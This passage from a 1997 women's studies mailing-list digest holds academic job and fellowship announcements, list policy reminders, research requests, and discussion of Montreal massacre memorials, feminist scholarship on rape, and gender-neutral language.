most of this century for anyone who wanted to be considered a serious scholar) and is busy examining the rich lode of folklore references in the trial records themselves. (Carlo Ginsburg, Gustav Henningsen, Giuseppe Bonomo, Carlo Bondi, Gabor Klaniczay, Eva Pocs, Bengt Ankarloo, Tekla Domotor, Angel Gari Lacruz, are among them; as well as the South Americans Laura de Mello e Souza and Carlos Contramaestre) >I'd like to know more about your slide show! >Linda Deutschmann I call this particular show a ""pre-history of the Christian Right."" I'd be happy to send a description of the show to anyone who emails a request (to me, please, not to the list). I'm planning to do a slideshow tour in March for women's history month, and this show is one of those available... Max Dashu Suppressed Histories Archives email: maxdashu@lanminds.com PO Box 3511 Oakland CA 94609 USA >>>International Women's Studies, founded 1970<<< ========================================================================= Date: Sun, 7 Dec 1997 18:15:04 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: 3 announcements (2 jobs, 1 fellowship) MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT The following three announcements may interest WMST-L readers: 1) Job: Amer/African-Amer. Politics (U. of San Francisco 2) Job: (Half-time) States Issues Coordinator - Institute for Women's Policy Research 3) Fellowship: Worldwide Women in Development Program (US Citizens) For more information, please contact the people named in the announcements, not WMST-L or me. Joan Korenman (korenman@umbc2.umbc.edu) ************************************************************* 1) U. of San Francisco COLLEGE OF ARTS AND SCIENCES AMERICAN POLITICS/AFRICAN AMERICAN POLITICS Pending approval and funding, the Department of Politics at the University of San Francisco invites applications for a tenure-track appointment in American Politics/African American Politics at the Assistant Professor level, anticipated to begin in the Fall 1998. Teaching responsibilities may include inter alia, American Politics; Race and Ethnicity in American Politics; African Americans Politics; African American Political thought; Race, Gender and the law; and public policy courses focusing on under-represented groups. Ability to teach courses on feminist theory, or African, Caribbean, Latin American, Hispanic or Africa-diaspora politics will be an asset. Qualifications: University teaching experience, evidence of a strong commitment to teaching, evidence of scholarship, an earned doctorate by Fall 1998, experience and willingness to work in a culturally diverse environment, and an understanding of, and commitment to, support the mission of the University are required. The candidate will be expected to develop an independent and ongoing research program. We particularly encourage minority and women applicants for all positions. The University of San Francisco is an Equal Opportunity and Affirmative Action Employer, and will provide reasonable accommodations to individuals with disabilities upon request. Applicants should submit a letter of application, curriculum vitae, graduate transcripts, brief description of research plans, copies of recent research papers, statement of teaching philosophy, evidence of teaching ability (including copies of teaching evaluations and syllabi), and three letters of recommendation to: American Politics/African American Politics Search Committee c/o Roberta Johnson, Chair Department of Politics University of San Francisco 2130 Fulton Street San Francisco, CA 94117-1080 Applications must be receive by February 10, 1998, in order to ensure full consideration. Established as San Francisco's first institution of higher learning in 1855, the University of San Francisco presently serves 8000 students in the arts and sciences, business, education, nursing, law, and professional studies. The University is a private, Catholic and Jesuit institution and particularly welcomes candidates who will positively contribute to such an environment. From: The Chronicle of Higher Education, December 12, 1997 ************************************************************************* 2) NEW POSITION OPEN AT THE INSTITUTE FOR WOMEN'S POLICY RESEARCH STATES ISSUES COORDINATOR The States Issues Coordinator is a half-time position. The States Issues Coordinator will work with state-based advocates, researchers, and policy analysts as part of two separate IWPR projects: The Status of Women in the States and Coordinating Research on Welfare Reform. Responsibilities include working with state-based advisory committees on women's status in 12 states and researcher/advocate partners concerned with welfare reform in 7 states. The successful candidate will have outstanding interpersonal and communication skills, will be well-organized, able to meet deadlines, and will enjoy travel. Experience with state level public policy is essential; familiarity with data analysis is strongly preferred. A Master's degree in social science or women's studies is required (or equivalent work experience). The position will begin in January 1998. Applications will be accepted until the position is filled. Salary range to $15,000, commensurate with experience. Benefits include health insurance, matching pension contributions, generous vacation and holiday time, and paid sick leave. Applications should be submitted to: Dr. Diana Zuckerman, Director of Research and Policy Analysis Institute for Women's Policy Research 1400 20th Street NW, Suite 104 Washington, DC 20036 Questions should be directed to: Shannon Garrett, Research Program Assistant at 202/785-1921 Amanda Gordon, Communications Fellow Institute for Women's Policy Research 1400 20th Street NW, Suite 104 Washington DC 20036 ph. (202) 785-5100 fax (202) 833-4362 gordon@www.iwpr.org *************************************************************************** 3) Worldwide Women in Development Fellows Program (WorldWID) at the University of Florida WorldWID is a one-year international development fellowship for mid-career professionals with technical skills that can be applied to U.S. foreign assistance programs, and who are interested in increasing their knowledge and capacity to incorporate Gender-and-Development (GAD) issues in their applied work. The program is for U.S. citizens. WorldWID is especially interested in skills that relate to USAID's strategic concerns: economic growth; democracy and governance, including human rights; environment; girls' education; and population, health, and nutrition. The WorldWID fellowship year consists of a period of training and orientation followed by placement in a USAID field mission. The program matches applicants' skills with requests from different missions and USAID-funded programs. Timing of WorldWID Fellowships: The 1998-1999 WorldWID Fellows will begin participation in the program in March of 1998. Fellows are expected to depart for their field assignments approximately two weeks after the closure of the Training and Orientation Programs. The maximum participation for the entire fellowship is one year; the minimum is seven months. For an additional E-mail description of this program, please E-mail to the below E-mail address and state ""E-mail description"" in the message section. Applications are now being accepted until DECEMBER 22, 1997. For an application form, please contact: WorldWID Fellows Program Office of International Studies and Programs 123 Tigert Hall / P.O. Box 113225 University of Florida Gainesville, FL 32611 Tel: (352) 392-7074 ; Fax: (352) 392-8379 E-mail: wrldwid@nervm.nerdc.ufl.edu Web Page: http://www.datexinc.com/worldwid/ ========================================================================= Date: Sun, 7 Dec 1997 22:13:37 EST Reply-To: Women's Studies List Sender: Women's Studies List From: Mary Ann Duffy Subject: December 6 remembrance of Montreal women > From: Mary Ann Duffy > To: maryduff@enoreo.on.ca > Subject: Re: Automatic distribution (AFD) of file ""WMST-L DIGEST2"" > Date: Sun, 7 Dec 97 1:20:17 EST > > > On December 6th, Kira McCarthy wrote about her anger over women ""joining"" the > white ribbon campaign initiated to encourage men to become responsibly > involved in the violence against women issues. She said this was done in the > name of being ""more inclusive."" I agree with her that this is a mis-use of > the word inclusive and could very well have the effect of putting the > responsibility back in women's lives, in order to ""help"" the men. I have seen > quite a few discussions like this over ""take back the night"" inclusivity. > > Maybe it would help to hear what we did at our school, The Linden School in > Toronto. We are a gr. 5-13 woman-centred school and our grade 8s took the > initiative this year to prepare a memorial service for the 14 young women who > died in Montreal and all women and children who are victims of violence at the > hands of men. They explained about the white ribbon campaign, but handed out > purple ribbons as a symbol of our mourning. I am not sure where the colour > came from, but it was clear that our ribbons were for mourning and > remembering. We also had brief discussions by grade during this time to speak > about what WE could do to bring an end to violence. It was interesting to > hear the young women identify such things as supporting women's shelters and > paying attention to the casual verbal abuse that passes unremarked among us so > often. > > Don't know if this will help any, Kira, but just wanted to say ""I hear you."" > > ========================================================================= Date: Mon, 8 Dec 1997 00:16:33 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Kira McCarthy Subject: Re: December 6 remembrance of Montreal women Comments: To: Mary Ann Duffy In-Reply-To: <9712072213.aa17922@toronto.enoreo.on.ca> MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII thank you... kira trent university peterborough, ontario On Sun, 7 Dec 1997, Mary Ann Duffy wrote: > > From: Mary Ann Duffy > > To: maryduff@enoreo.on.ca > > Subject: Re: Automatic distribution (AFD) of file ""WMST-L DIGEST2"" > > Date: Sun, 7 Dec 97 1:20:17 EST > > > > > > On December 6th, Kira McCarthy wrote about her anger over women ""joining"" the > > white ribbon campaign initiated to encourage men to become responsibly > > involved in the violence against women issues. She said this was done in the > > name of being ""more inclusive."" I agree with her that this is a mis-use of > > the word inclusive and could very well have the effect of putting the > > responsibility back in women's lives, in order to ""help"" the men. I have seen > > > quite a few discussions like this over ""take back the night"" inclusivity. > > > > Maybe it would help to hear what we did at our school, The Linden School in > > Toronto. We are a gr. 5-13 woman-centred school and our grade 8s took the > > initiative this year to prepare a memorial service for the 14 young women who > > died in Montreal and all women and children who are victims of violence at the > > > hands of men. They explained about the white ribbon campaign, but handed out > > purple ribbons as a symbol of our mourning. I am not sure where the colour > > came from, but it was clear that our ribbons were for mourning and > > remembering. We also had brief discussions by grade during this time to speak > > > about what WE could do to bring an end to violence. It was interesting to > > hear the young women identify such things as supporting women's shelters and > > paying attention to the casual verbal abuse that passes unremarked among us so > > > often. > > > > Don't know if this will help any, Kira, but just wanted to say ""I hear you."" > > > > > ========================================================================= Date: Mon, 8 Dec 1997 00:40:45 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: beatricekachuck Subject: Re: A naive question In-Reply-To: <009BE502.2C8EC100.14@acad.ursinus.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Gina, Of course, I consider cultural ideology and social learning early and later in life as part of context. I think it's also important to recognize that many people get mixed messages along the way; hegemonies are not perfect, how they work and don't work is interesting to study. I used social context in opposition to biology trying to be brief in an email message. What you're suggesting seems to me an analysis of social context, rightly so. beatrice bkachuck@cuny.campus.mci.net ========================================================================= Date: Sun, 7 Dec 1997 21:25:18 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: ""pauline b. bart"" Subject: Re: 8th anniversary Montreal massacre Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" At 01:10 PM 12/6/97 -0400, you wrote: >hello. i am seeking assistance... > today is december sixth and i am at home instead of participating >in the planned events on my campus. i am doing so because i am angry. i am >writing to ask if my anger is valid in anyone elses eyes... > this year, it was decided by someone at trent that the ""white >ribbon campaign"" was going to be ""more inclusive."" by this, it is meant >that women are buying and wearing white ribbons. i have always thought >that the purpose of the white ribbon campaign was for men to take >responsiblilty for men's violence against women. the white ribbon says to >me, ""i am a man and i am against men's violence against women."" for me to >see women wearing this ribbon, i am getting two messages: > 1. women are carrying the financial burden of paying out money >that they may not have thinking that they are making a positive political, >anti-violence statement. > 2. the responsibilty for ending violence is being placed back on >women. > > violence...ending violence is not the responsiblity of one sex, >but i am feeling really angry and ...discouraged that this has happened. >am i over reacting? > i am planning to write a letter in the first edition of the school >paper after the holidays to respond to what has made me so upset. i was >wondering if i could have some feedback on this issue... > first i mourn...now i want to DO something. > thanks for your time, > kira mccarthy, a woman who wont be silenced... > > > kira >trent university >peterborough, ontario > >You have a right to be angry. For the past ten years it has been almost impossible to limit something to one sex, for whatever reason. When I was guest lecturing ten years ago, trying to get a class to talk about ""Not a Love Story, even though the class was overwhelmingly female, only males spoke. I said I wouldn't call another man until I heard from a woman. The class was furious with me. It's what lawyers call Formal Equality or gender neutrality, in a world where the genders are treated very differently, with one subordinated, us. I became so angry I couldn't study violence against women any more, and recently decided I wouldn't teach undergraduates, tenchically wouldn't teach college age students, the older women were fine, because it is so discouraging. And men can mess up women's studies classes at will. Keep up the fight! Pauline Bart Bart@ucla.edu ========================================================================= Date: Sun, 7 Dec 1997 21:25:22 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: ""pauline b. bart"" Subject: Re: Inquiry about Using Sanday's Work on Fraternity Rape Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" At 07:51 PM 12/5/97 -0500, you wrote: >At 04:52 PM 12/5/97 -0500, Ruby Rohrlich wrote: >>Peggy Sanday has also written a book on societies that have no rape at >>all; it's a very interesting and important book, and looking through a >>list of her publications should give you the title of this book. >>Ruby Rohrlich rohrlich@gwis2.circ.gwu.edu >> > >One place where Sanday's cross-cultural rape can be found is: > >Sanday, P. R. (1981). The socio-cultural context of rape: A cross-cultural >study. Journal of Social Issues, 37, 5-27. > >An important critique of Sanday can be found in: > >Rozee, P. D. (1993) Forbidden or forgiven? Rape in cross-cultural >perspective. Psychology of Women Quarterly, 17, 499-514. > > > >__________________________ >Clare Holzman >330 West 58th Street, 404 >New York, NY 10019 >212 245 7282 > >holzmr01@mcrcr.med.nyu.edu >__________________________________________________ > >While I very much admire Sanday's book on fraternity rape, grounded as it is in the lived experience of a woman at her university, there are serious questions about the validity of her analysis of rape cross culturally. The data of necessity or second hand and usually from male leaders. I remeber one society that she scored as not having rape was based on the statement of a leader who said""There is no rape in our society. our women never resist"". I would stake my reputation that there is rape in that society. I'm not sure she says there is NO rape-I think she was talking about more and less rape but perhaps I am forgetting how extreme her position is. I would go with Rae L. Blumbergs cross cultural material in which she speaks of women's power, which is almost completely dependent on their economic power. They have to control the money they make (or the goods they receive for their labor) and not be easily replaceable. Additionally matrilocal rsidence helps. These factors are assoicated with lack of wife beating, forced marriage, abortion, rape, reproduction control etc.I'm not sure what the best reference is but y ou can check her in the library, since she has written extensively. In a study I conducted I found very few societies with no rape, but my research was not as extensive as either Sanday or Blumberg. Pauline Bart pbart@ucla.edu ========================================================================= Date: Mon, 8 Dec 1997 07:53:08 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: if mail stops unexpectedly (User's Guide) MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT Today's monthly excerpt from the WMST-L User's Guide: 7) ""WHAT SHOULD I DO IF MAIL FROM WMST-L SUDDENLY STOPS?"" Note: if you've arranged to receive WMST-L in edited digest form, skip to section C below. Otherwise, read on. A) If you receive a message from LISTSERV informing you that your WMST-L options have been set to NOMAIL, that means that mail from the list was repeatedly returned as undeliverable, probably because of a mail problem on your system. The fact that LISTSERV's notification reached you indicates that the problem was probably short-lived and is now resolved. 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However, PLEASE TRY THE ABOVE STEPS FIRST!! Under NO circumstances should you send messages about your subscription to WMST-L. C) If you have arranged to get the WMST-L edited digest and you suddenly stop receiving copies, first check with the computer support staff at your institution to find out whether they are aware of any problems. If they're not, and if you're receiving other mail but not the digest, please write to Ira Gold at IGOLD@UMDD.UMD.EDU . In your message, tell him whether you receive your digests as files or as e-mail, and try to pinpoint as precisely as possible when you stopped receiving the digests. DO NOT SEND MAIL TO IRA GOLD UNLESS IT SPECIFICALLY CONCERNS A DIGEST PROBLEM, AND DO NOT WRITE TO HIM UNTIL YOU'VE DISCUSSED THE MATTER WITH THE COMPUTER SUPPORT PEOPLE AT YOUR INSTITUTION! Messages about other problems should be sent to KORENMAN@UMBC2.UMBC.EDU . ***************************************************** Each month, I post sections from the WMST-L User's Guide to remind subscribers of the list's resources and procedures. If changes have been made since the last time a section was posted, the subject header will begin ""Revision:"". Also, you can now consult the User's Guide anytime you'd like if you have access to the World Wide Web. The URL is http://www.umbc.edu/wmst/user-guide.html . You can also get a copy of the guide via e-mail by sending the message GET GUIDE WMST-L to LISTSERV@UMDD.UMD.EDU . Joan Korenman Internet: korenman@umbc2.umbc.edu Bitnet: korenman@umbc ========================================================================= Date: Mon, 8 Dec 1997 08:48:45 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Barbara Peters Organization: Southampton College of L.I.U. Subject: funding sources MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Greetings, I have a student in my Women in Society class who is in dire need of funding. She has been so instrumental in helping to launch our Women's Studies program. . . I'd hate to see her have to leave school before she's done. She is a non-traditional student with three children, divorced, ran for office, is a member of the Shinnecock Nation and AFrican American. She is a Welfare Warrior and is being wooed by Harvard and Yale. Right now, she is working four jobs so that she can feed and clothe her family and is falling behiind in her school work and from the newspaper delivery job from 2:00 a.m. to 7:00 a.m. is on the point of collapse. Our program needs her. Do any of you know funding sources that have a quick turn around from application time to award time? Please contact me privately. If I receive a number of responses, I will post a list to the list. She must not be the only one in Women's Studies who is non-traditional and given the WElfare reform, in financial need. Thanks and Peace, Barbara ""O wad some power the giftie gie us- to see oursels as others see us!"" . . . Robert Burns TO A LOUSE Barbara J. Peters, Assistant Professor Social Sciences Division Long Island University - Southampton 239 Montauk Highway Southampton, NY 11968 (516) 287-8236 FAX: (516) 287-8203 e-mail bpeters@southampton.liunet.edu ========================================================================= Date: Mon, 8 Dec 1997 11:19:07 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Amelia Carr Subject: Re: gender-neutral language Comments: cc: mharris@utdallas.edu, mcarr@pop.service.ohio-state.edu Content-Type: text/plain Mime-Version: 1.0 (NeXT Mail 3.3 v118.2) My mother Peg Carr is a journals editor at the Ohio State University Press, who publishes Journal of Money, Credit, and Banking--as business oriented a journal as you can get! She has this to say about gender-neutral language. >From Peg Carr Good morning. The policy throughout the Press is to use gender-neutral language. I find less and less masculine language in the papers submitted to me for publication, but if I do, I rewrite to change it to gender-neutral. Sometimes it's easy, such as changing ""policymaker .. he"" to ""policymakers ... they"" but often there are real challenges that require actual work!! _The Bias-Free Word Finder_ by Rosalie Maggio is a good source; subtitled ""A dictionary of nondiscriminatory language,"" it covers everything from ""man: human"" to ""goody-two-shoes"" and ""maternity leave"" (parental/family leave) and ""kingdom"" (realm) -- as well as language discriminatory in ways other than gender. It's fascinating to browse. My authors are academic or research officers from the Federal Reserve Banks, and there is just no question: gender-free language is standard. Submitted by Amelia Carr, Allegheny College acarr@alleg.edu ========================================================================= Date: Mon, 8 Dec 1997 14:09:25 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Karen Cangialosi Subject: where to post women's studies jobs Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Help!! Below is an ad for a women's studies/economics position for Keene State College that I have posted to this list previously. So far we have received applications mainly from economists with *very little to no* women's studies background. We would really like to get this ad out there to interested and qualified women's studies folks as widely as possible. I would appreciate any suggestions for where the best places to post or otherwise distribute the ad. Where is the primary place (if any?) that professionals in women's studies do their job searching? Thanks! - Karen Tenure-track position with 50% appointment in Interdisciplinary Women's Studies Program and 50% appointment in Economics. Core courses in Women's Studies include: ""Introduction to Women's Studies"", ""Feminist Theory"", and ""Women's Studies Seminar"". In addition to Economic Theory, the Economics program desires expertise in ""The Economics of Race, Class and Gender"" and ""U.S. Economic History"". College teaching experience and evidence of teaching effectiveness and active scholarship required. Ph.D. in either Economics or Women's Studies expected by date of appointment and substantial graduate coursework or teaching experience in the discipline (Econ or W.S.) outside of doctorate. Promotion and tenure decisions at Keene State College are made upon basis of successful teaching, scholarly activity and service. Minimum salary for Assistant Professor $36,500. In cover letter, describe how you would organize two courses of your choice (one in Econ and one in Women's Studies) to encourage critical thinking and student participation. Send cover letter (including your use of critical thinking in the classroom), evidence of teaching effectiveness, curriculum vita, and three letters of reference to Kim Harkness, Office of Human Resource Management, Keene State College, 229 Main Street, Keene NH 03435-1604. Deadline for receipt of applications is January 30, 1998. We will contact applicants to arrange for interviews at the January Allied Social Science Association meetings in Chicago. Phone interviews will be conducted with finalists not attending the ASSA meetings. AA/EOE ******************************************************************* Karen R. Cangialosi Associate Professor of Biology Coordinator, Women's Studies Mailstop #2001 /\\_^_/\\ Keene State College / / O \\ \\ Keene, NH 03435-2001 email: kcangial@keene.edu fax: 603-358-2897 phone: 603-358-2578 ========================================================================= Date: Mon, 8 Dec 1997 16:46:19 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Lynne Shea & Mac Gander Subject: Re: where to post women's studies jobs Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Karen Cangiaslosi wrote: >Help!! > >Below is an ad for a women's studies/economics position for Keene State >College that I have posted to this list previously. So far we have received >applications mainly from economists with *very little to no* women's >studies background. We would really like to get this ad out there to >interested and qualified women's studies folks as widely as possible. I >would appreciate any suggestions for where the best places to post or >otherwise distribute the ad. Where is the primary place (if any?) that >professionals in women's studies do their job searching? It seems to me that, while you could put something in the NWSA journal, anyone who is serious about a job search would look in the Chronicle of Higher Ed.. Your difficulty may be in finding enough candidates with that combination of experience?? Between this listserv and the Chronicle, you should have a wide audience. Internationally, I don't know. Lynne Shea MacLean Gander Lynne C. Shea Vice President for Academic Affairs Associate Professor, English Landmark College Landmark College Putney, VT 05346 802-387-6778 mgander@landmarkcollege.org lshea@landmarkcollege.org http//www.landmarkcollege.org WLDADD@home.ease.lsoft.com LDCOMP@home.ease.lsoft.com ========================================================================= Date: Mon, 8 Dec 1997 17:48:27 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Katherine M.J. McKenna"" Subject: Part-Time Teaching Jobs Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" PLEASE POST The Centre for Women's Studies and Feminist Research at The University of Western Ontario invites applications for instructors for courses to be taught in the summer of 1998 and fall/winter 1998-9. Summer courses are held two evenings a week from May 4/98 to July 22/98; full-year courses run from September 98 to April 99, and half-year courses run for one term -- either September to December, or January to April. Courses to be offered in the summer are: WS 020E ""Introduction to Women's Studies"" and WS 200E ""Advanced Interdisciplinary Survey in Women's Studies"". These two full-year courses will also be offered during the regular academic year (September 1998 to April 1999). Other courses will also be offered, and applicants are invited to submit proposals for either half or full courses in areas relevant to Women's Studies such as, but not limited to: Women and Fine Arts; Gender, Race and Class; Women and Development; Women and Science; Women and Politics; Lesbian Issues and Theory; and Women and Work. Stipends are currently set at $7,400 for full courses and $3,700 for half courses. Qualified applicants will have completed or be very near to completion of the PhD, and have a demonstrated ability to teach interdisciplinary Women's Studies. A letter indicating areas of teaching interest and experience, along with a curriculum vita, sample course outline(s), copies of teaching evaluations and the names, addresses, e-mail and phone number of three referees must be submitted no later than January 5, 1998 to: Katherine M.J. McKenna, Director Centre for Women's Studies and Feminist Research University College Room 123 The University of Western Ontario London, Ontario Canada, N6A 3K7 Fax: (519) 661 3491 In accordance with Canadian immigration requirements, this advertisement is directed to Canadian citizens and permanent residents of Canada. The University of Western Ontario is committed to employment equity, welcomes diversity in the workplace, and encourages applications from all qualified individuals including women, members of visible minorities, aboriginal persons, and persons with disabilities. ========================================================================= Date: Mon, 8 Dec 1997 17:06:42 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: hale bolak Subject: research article request Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" hi folks! I am looking for research articles on following topics: 1. connection between pornography and violence against women 2. connection between size discrimination and female identity development 3. power dynamics in lesbian relationships (I have the Renzetti book) 4. connection between physical discomfort with penetration and women's history of sexual abuse/rape 5. the research which was done regarding the inclusion of PMS in the DSM Anyone with suggestions, please reply privately to me at: hcbolak@ncgate.newcollege.edu thanks Hale Bolak ========================================================================= Date: Mon, 8 Dec 1997 18:43:22 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Prof. Martha McCaughey"" Subject: Looking for 'Anti-Gun' Feminists Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" A session on women, feminism, and firearms is being organized for the November '98 Criminology meetings (which will be held in Washington D.C.). Possible participants include: Carol Oyster, Mary Zeiss Stange, Kim Vogt, and Martha McCaughey. The organizer is looking for another feminist, but one who will probably be more ""anti-gun"" than those already on the panel. Participants needn't be criminologists to participate. The fellow in charge of organizing the panel doesn't know many feminist scholars in this area so I'm trying to help come up with one or two more participants so that the session includes a variety of feminist perspectives on the issue of women and firearms. If any of you plan to attend the Crim meetings in DC, or happen to live in the DC area and would like to participate in this specific session, please contact me privately at marth@vt.edu. Thanks, Martha McCaughey Assist. Professor of Women's Studies Center for Interdisciplinary Studies Virginia Tech Blacksburg, VA 24061-0227 Author of REAL KNOCKOUTS: THE PHYSICAL FEMINISM OF WOMEN'S SELF-DEFENSE For Info about this book, see: http://www.cis.vt.edu/ws/home/RealKnockoutsPage.html ========================================================================= Date: Mon, 8 Dec 1997 21:15:19 EST Reply-To: Women's Studies List Sender: Women's Studies List From: FLORENCH Organization: AOL (http://www.aol.com) Subject: Re: Sources of funds for printing? Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit Dear Kathy: The best source is Humboldt. Surely the university is interested in its own history. Second best option is a rich alum, hopefully someone who profited from educationally from the women's studies program. Third: a local foundation interested in women and the university. Have you talked with the development office? I believe you have--I'd be interested to see what they are saying to you. Cheers, Florence Howe florench@aol.com ========================================================================= Date: Mon, 8 Dec 1997 23:12:08 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: Deborah Gerson Subject: Re: funding sources In-Reply-To: <40AF7B6108@shark.liunet.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Folks, Wednesday Dec. 10 is the National Day of Action on Welfare/Workfare. In addition to the general abominations of welfare reform, the new law has made it impossible for women to stay in school and utilize welfare support plus financial aid to acquire real job skills that would enable them to actually earn a living wage. Already thousands of mothers attending colleges around the country have been forced out of school or are barely hanging on. (see Barbara Peters posting) So I encourage all of you, wherever you are, to get out on Wednesday and participate in some action. In SAn FraNCISCO there will be a rally at CIty Hall at 4pm. To find out what's happening in other cities, contact Jobs with Justice at 202 434 1106; or 202 434 1477 (fax); mmaxwell@cwa-union.org In solidarity Deborah Gerson dgerson@itsa.ucsf.edu __ ""I wouldn't have done it if I'd known the answers were on the back."" -Me, math class. ========================================================================= Date: Tue, 9 Dec 1997 01:16:58 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Miriam Harris Subject: Thanks/G-N Language MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Thanks to all who responded, many with passion and eloquence, to my request for information regarding gender neutral language in business and technical writing. My students seem to have enjoyed the handout I gave them comprised of comments and suggestions. I believe it added to the credibility of my approach. What puzzles me is that I've simply never had my word questioned before -- people KNOW that changes in language use in this regard have occurred over the past 20 years. Calling attention to those mistakes has always been accepted by my students in the same way that other editorial comments are accepted. I wonder why so many of my MBA students fought so hard to believe that change didn't affect them or apply to their work. Now that they must concede, I'm taking much ribbing about it -- but as good natured giving in. As I told them today, it's a good thing I have a sense of humor. In all, this has been a great learning experience all the way around. Thanks to wmstl for being here for me. Miriam K. Harris, Ph.D. mharris@utdallas.edu 972/866-6711 ph. 214/630-1169 fx. ========================================================================= Date: Tue, 9 Dec 1997 09:46:17 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: WMST-L's advertising policy (User's Guide) MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT Today's monthly excerpt from the WMST-L User's Guide: > Do not send commercial advertising to some or all > WMST-L subscribers, not even privately. People who use their access to > WMST-L to gather e-mail addresses to use for commercial advertising, or to > give or sell to others, will be removed from WMST-L and barred from > re-subscribing. However, if you have created a women's-studies-related > book, video, etc. and wish to let subscribers know about it, you may > announce it on WMST-L. Indeed, you are encouraged to do so. You may also > mention other books and resources, even if you have a commercial interest > in them, if you are responding to a specific query for which the > books/resources are directly relevant. Please do NOT send notices about > books, films, and other commercial resources that you have not created > unless you are responding to a specific query. ****************** Each month, I post sections from the WMST-L User's Guide to remind subscribers of the list's resources and procedures. If changes have been made since the last time a section was posted, the subject header will begin ""Revision:"". Also, you can now consult the User's Guide anytime you'd like if you have access to the World Wide Web. The URL is http://www.umbc.edu/wmst/user-guide.html . You can also get a copy of the guide via e-mail by sending the message GET GUIDE WMST-L to LISTSERV@UMDD.UMD.EDU . Joan Korenman Internet: korenman@umbc2.umbc.edu Bitnet: korenman@umbc ========================================================================= Date: Tue, 9 Dec 1997 01:12:56 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Caryn E. Neumann"" Subject: Berks conf. chair needed Comments: cc: lansley.1@osu.edu Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Hello, We are putting together a panel on second wave feminism, entitled ""Generations of Feminism: Perspectives from the 1960s and the 1970s,"" for the 1999 Berkshire Conference on the History of Women. We need someone to act as a chair and someone to serve as a commentator. Our papers focus on the responses of students to second wave feminism and the responses of traditional women's groups to second wave feminism. If you are interested in being a chair or a commentator, please contact one of us. Cordially, Caryn Neumann, neumann.11@osu.edu Renee Lansley, lansley.1@osu.edu ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Caryn Neumann | When asked what lesson he had learned from neumann.11@osu.edu | civilization, the old Navajo replied, Dept. of History | ""Ingratitude."" Ohio State University | ========================================================================= Date: Tue, 9 Dec 1997 11:04:19 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: BETTY POWELL Organization: Mars Hill College Subject: THANKS FYI. The Women's Studies minor passed the faculty at Mars Hill College this week. I want to thank each of you who gave us your support and encouragement. Your help was invaluable. Betty J. Powell Assistant Professor of English Mars Hill College Mars Hill, NC bpowell@mhc.edu ========================================================================= Date: Tue, 9 Dec 1997 13:34:18 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: millerc@SNYONEVA.CC.ONEONTA.EDU Subject: Undergraduate Women's Conference, Oneonta, NY Comments: To: powr-l@uriacc.uri.edu MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Please help us to identify interested students. This is a conference by and about undergraduate students. If you have a student or students who have interesting work to present, please encourage them to send it in. *** CALL FOR PAPERS, WORKSHOPS, CREATIVE WORKS *** 5TH ANNUAL WOMEN'S UNDERGRADUATE CONFERENCE ""WOMEN: CROSSING BOUNDARIES/CROSSING IDENTITIES"" MARCH 27-29, 1998 STATE UNIVERSITY COLLEGE AT ONEONTA ONEONTA, NEW YORK While the conference is open to all students, the subject of all proposed work must analyze, represent, or inform some aspects of women's lives. Proposals may be emailed to: fajaj58@oneonta.edu Proposals may be mailed to: Women's Studies Dept. Milne Library, Rm 315A State University College at Oneonta Oneonta, NY 13820 Proposal forms may be requested from either of the above or from Cynthia Miller Fitzelle Hall 400 State University College at Oneonta Oneonta, NY 13820 millerc@oneonta.edu ========================================================================= Date: Tue, 9 Dec 1997 15:35:40 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Maria Bevacqua Subject: lesbian rape MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I am looking for resources/references to assist a counselor at the local rape crisis center. Does anyone know of any articles or chapters that specifically address the issue of rape of lesbians by other lesbians? I am looking for acquaintance rape materials specfically, but at this point, anything will do. We already have all the lesbian battering resources we need. I have done searches with keywords lesbian and rape and have come up short. In my dissertation research on the anti-rape movement, I have never come across anything that might be useful. Other resources--such as videos, brochures, books, survivor stories, and the like--would also be helpful. Please respond privately. Maria Bevacqua, Ph.D. Institute for Women's Studies Emory University Atlanta, GA 30322 mbevacq@emory.edu Linus: I thought little girls always believed everything that was told to them. I thought little girls were innocent and 